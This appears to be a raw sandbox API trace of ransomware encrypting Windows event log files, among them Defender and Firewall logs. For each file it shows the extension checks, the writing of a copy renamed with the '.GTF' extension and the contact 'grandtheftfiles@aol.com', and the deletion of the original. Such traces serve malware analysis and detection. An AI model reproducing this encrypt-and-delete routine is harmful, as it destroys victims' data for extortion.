	[0083.190] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52
	[0083.190] lstrlenW (lpString=".jpg") returned 4
	[0083.190] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.190] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0083.191] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45
	[0083.191] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.191] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0083.191] CloseHandle (hObject=0x364) returned 1
	[0083.191] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20
	[0083.191] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.191] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.191] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.191] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.191] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0083.658] GetLastError () returned 0x0
	[0083.658] ReadFile (in: hFile=0x364, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.684] WriteFile (in: hFile=0x380, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.686] ReadFile (in: hFile=0x364, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.686] WriteFile (in: hFile=0x380, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x12e, lpOverlapped=0x0) returned 1
	[0083.686] SetEndOfFile (hFile=0x380) returned 1
	[0083.686] CloseHandle (hObject=0x380) returned 1
	[0083.688] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.688] SetEndOfFile (hFile=0x364) returned 1
	[0083.689] CloseHandle (hObject=0x364) returned 1
	[0083.689] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0083.690] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1
	[0083.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.690] lstrlenW (lpString=".doc") returned 4
	[0083.690] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.690] lstrlenW (lpString=".docx") returned 5
	[0083.690] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.690] lstrlenW (lpString=".pdf") returned 4
	[0083.690] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.690] lstrlenW (lpString=".xls") returned 4
	[0083.690] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.690] lstrlenW (lpString=".xlsx") returned 5
	[0083.690] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.690] lstrlenW (lpString=".ppt") returned 4
	[0083.690] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.690] lstrlenW (lpString=".zip") returned 4
	[0083.690] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.690] lstrlenW (lpString=".rar") returned 4
	[0083.690] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.690] lstrlenW (lpString=".bz2") returned 4
	[0083.690] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.690] lstrlenW (lpString=".7z") returned 3
	[0083.690] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.690] lstrlenW (lpString=".dbf") returned 4
	[0083.690] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.690] lstrlenW (lpString=".1cd") returned 4
	[0083.691] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.691] lstrlenW (lpString=".jpg") returned 4
	[0083.691] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.691] lstrlenW (lpString=".doc") returned 4
	[0083.691] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.691] lstrlenW (lpString=".docx") returned 5
	[0083.691] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.691] lstrlenW (lpString=".pdf") returned 4
	[0083.691] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.691] lstrlenW (lpString=".xls") returned 4
	[0083.691] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.691] lstrlenW (lpString=".xlsx") returned 5
	[0083.691] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.691] lstrlenW (lpString=".ppt") returned 4
	[0083.691] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.691] lstrlenW (lpString=".zip") returned 4
	[0083.691] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.691] lstrlenW (lpString=".rar") returned 4
	[0083.691] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.691] lstrlenW (lpString=".bz2") returned 4
	[0083.691] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.691] lstrlenW (lpString=".7z") returned 3
	[0083.691] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.691] lstrlenW (lpString=".dbf") returned 4
	[0083.691] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.691] lstrlenW (lpString=".1cd") returned 4
	[0083.691] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.691] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53
	[0083.691] lstrlenW (lpString=".jpg") returned 4
	[0083.691] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.692] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0083.692] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52
	[0083.692] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.692] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0083.692] CloseHandle (hObject=0x364) returned 1
	[0083.692] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20
	[0083.692] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.692] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.692] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.692] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.693] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0083.697] GetLastError () returned 0x0
	[0083.697] ReadFile (in: hFile=0x364, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.707] WriteFile (in: hFile=0x380, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.709] ReadFile (in: hFile=0x364, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.709] WriteFile (in: hFile=0x380, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x13c, lpOverlapped=0x0) returned 1
	[0083.710] SetEndOfFile (hFile=0x380) returned 1
	[0083.710] CloseHandle (hObject=0x380) returned 1
	[0083.712] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.712] SetEndOfFile (hFile=0x364) returned 1
	[0083.713] CloseHandle (hObject=0x364) returned 1
	[0083.715] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0083.715] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1
	[0083.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.716] lstrlenW (lpString=".doc") returned 4
	[0083.716] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.716] lstrlenW (lpString=".docx") returned 5
	[0083.716] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.716] lstrlenW (lpString=".pdf") returned 4
	[0083.716] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.716] lstrlenW (lpString=".xls") returned 4
	[0083.716] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.716] lstrlenW (lpString=".xlsx") returned 5
	[0083.716] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.716] lstrlenW (lpString=".ppt") returned 4
	[0083.716] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.716] lstrlenW (lpString=".zip") returned 4
	[0083.716] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.716] lstrlenW (lpString=".rar") returned 4
	[0083.716] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.716] lstrlenW (lpString=".bz2") returned 4
	[0083.716] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.716] lstrlenW (lpString=".7z") returned 3
	[0083.716] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.716] lstrlenW (lpString=".dbf") returned 4
	[0083.716] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.716] lstrlenW (lpString=".1cd") returned 4
	[0083.717] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.717] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.717] lstrlenW (lpString=".jpg") returned 4
	[0083.717] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.717] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.717] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.717] lstrlenW (lpString=".doc") returned 4
	[0083.717] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.717] lstrlenW (lpString=".docx") returned 5
	[0083.717] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.717] lstrlenW (lpString=".pdf") returned 4
	[0083.717] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.717] lstrlenW (lpString=".xls") returned 4
	[0083.717] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.717] lstrlenW (lpString=".xlsx") returned 5
	[0083.717] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.717] lstrlenW (lpString=".ppt") returned 4
	[0083.717] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.717] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.717] lstrlenW (lpString=".zip") returned 4
	[0083.717] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.717] lstrlenW (lpString=".rar") returned 4
	[0083.717] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.717] lstrlenW (lpString=".bz2") returned 4
	[0083.717] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.717] lstrlenW (lpString=".7z") returned 3
	[0083.717] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.717] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.717] lstrlenW (lpString=".dbf") returned 4
	[0083.717] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.717] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.717] lstrlenW (lpString=".1cd") returned 4
	[0083.717] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.717] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0083.718] lstrlenW (lpString=".jpg") returned 4
	[0083.718] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.718] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0083.718] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 82
	[0083.718] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.718] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0083.718] CloseHandle (hObject=0x364) returned 1
	[0083.718] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20
	[0083.718] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.718] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.718] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.718] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.719] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0083.719] GetLastError () returned 0x0
	[0083.719] ReadFile (in: hFile=0x364, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.722] WriteFile (in: hFile=0x380, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.724] ReadFile (in: hFile=0x364, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.724] WriteFile (in: hFile=0x380, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x178, lpOverlapped=0x0) returned 1
	[0083.724] SetEndOfFile (hFile=0x380) returned 1
	[0083.724] CloseHandle (hObject=0x380) returned 1
	[0083.726] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.726] SetEndOfFile (hFile=0x364) returned 1
	[0083.727] CloseHandle (hObject=0x364) returned 1
	[0083.727] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0083.728] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1
	[0083.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.728] lstrlenW (lpString=".doc") returned 4
	[0083.728] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.728] lstrlenW (lpString=".docx") returned 5
	[0083.728] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.728] lstrlenW (lpString=".pdf") returned 4
	[0083.728] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.728] lstrlenW (lpString=".xls") returned 4
	[0083.728] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.728] lstrlenW (lpString=".xlsx") returned 5
	[0083.728] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.728] lstrlenW (lpString=".ppt") returned 4
	[0083.728] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.728] lstrlenW (lpString=".zip") returned 4
	[0083.728] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.728] lstrlenW (lpString=".rar") returned 4
	[0083.728] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.728] lstrlenW (lpString=".bz2") returned 4
	[0083.729] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.729] lstrlenW (lpString=".7z") returned 3
	[0083.729] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.729] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.729] lstrlenW (lpString=".dbf") returned 4
	[0083.729] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.729] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.729] lstrlenW (lpString=".1cd") returned 4
	[0083.729] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.729] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.729] lstrlenW (lpString=".jpg") returned 4
	[0083.729] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.729] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.729] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.729] lstrlenW (lpString=".doc") returned 4
	[0083.729] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.729] lstrlenW (lpString=".docx") returned 5
	[0083.729] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.729] lstrlenW (lpString=".pdf") returned 4
	[0083.729] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.729] lstrlenW (lpString=".xls") returned 4
	[0083.729] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.729] lstrlenW (lpString=".xlsx") returned 5
	[0083.729] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.729] lstrlenW (lpString=".ppt") returned 4
	[0083.729] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.729] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.729] lstrlenW (lpString=".zip") returned 4
	[0083.729] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.729] lstrlenW (lpString=".rar") returned 4
	[0083.729] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.729] lstrlenW (lpString=".bz2") returned 4
	[0083.729] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.729] lstrlenW (lpString=".7z") returned 3
	[0083.729] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.730] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.730] lstrlenW (lpString=".dbf") returned 4
	[0083.730] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.730] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.730] lstrlenW (lpString=".1cd") returned 4
	[0083.730] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.730] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0083.730] lstrlenW (lpString=".jpg") returned 4
	[0083.730] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.730] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0083.730] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72
	[0083.730] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
